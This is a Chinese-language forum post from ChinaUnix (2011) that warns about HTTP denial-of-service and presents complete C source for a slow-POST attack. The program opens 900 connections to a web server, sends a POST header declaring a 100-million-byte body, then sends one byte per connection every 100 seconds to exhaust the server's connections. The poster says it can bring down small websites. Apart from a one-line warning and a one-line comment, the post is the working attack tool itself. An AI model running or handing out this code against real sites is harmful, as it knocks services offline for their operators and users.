免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 1428 | 回复: 0
打印 上一主题 下一主题

say sorry to WEB(http) [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2011-12-22 08:53 |只看该作者 |倒序浏览
http 的DDOS的攻击应该引起重视.
下面的代码简单的展示了WEB的攻击原理:
  1. #include <stdio.h>
  2. #include <sys/socket.h>
  3. #include <sys/types.h>
  4. #include <string.h>
  5. #include <arpa/inet.h>
  6. #include <errno.h>
  7. #include <stdlib.h>
  8. #include <unistd.h>

  9. #if 1
  10. char buf[] = "POST /a HTTP/1.1\r\nHost: www.xxxx.com\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; zh_CN; rv:1.9.0.3) Gecko/2010072118 Firefox/3.0.3\r\nKeep-Alive: 900\r\nConnection: keep-alive\r\nContent-Length: 100000000\r\nContent-Type: application/x-www-form-urlencoded;charset=UTF-8\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: zh-cn,zh;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: gb2312,utf-8;q=0.7,*;q=0.7\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n";
  11. #endif

  12. #if 0
  13. char buf[] = "GET / HTTP/1.1\r\nHost: www.xxx.xxx.com\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; zh_CN; rv:1.9.0.3) Gecko/2010072118 Firefox/3.0.3\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: zh-cn,zh;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: gb2312,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection: keep-alive\r\nif-Modified-Since: Thu, 25 Aug 2011 02:30:24 GMT\r\n\r\n";
  14. #endif

  15. int main(int argc, char *argv[])
  16. {
  17.     int fd;
  18.     struct sockaddr_in ser;
  19.     socklen_t lenth;
  20.     int num = 900;
  21.     int fd_buf[num];
  22.     
  23.     memset(&ser, 0, sizeof(ser));
  24.     ser.sin_family = AF_INET;
  25.     ser.sin_port = htons(80);
  26.     ser.sin_addr.s_addr = inet_addr("172.16.0.254");

  27.     printf(buf);
  28.     int i, num_data;
  29.     for(i = 0; i< num; i++){
  30.         if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
  31.                 fprintf(stderr, "socket fail:%s\n", strerror(errno));
  32.             exit(1);
  33.         }

  34.         lenth = sizeof(ser);
  35.         if((connect(fd, (struct sockaddr*)&ser, sizeof(ser))) != 0){
  36.             fprintf(stderr, "connect fail:%s\n", strerror(errno));
  37.             exit(1);
  38.         }

  39.         fd_buf[i] = fd;
  40.         num_data = write(fd, buf, sizeof(buf) - 1);
  41.         printf("write num:%d\n", num_data);

  42.     }

  43.     while(1){
  44.         for(i = 0; i < num; i++){
  45.             write(fd_buf[i], "a", 1);
  46.             sleep(100);
  47.         }
  48.     }

  49.     return 0;
  50. }
上面的代码很简单,攻击程序的代码以想相当小的负荷却足以让一般小型的网站崩溃。






您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP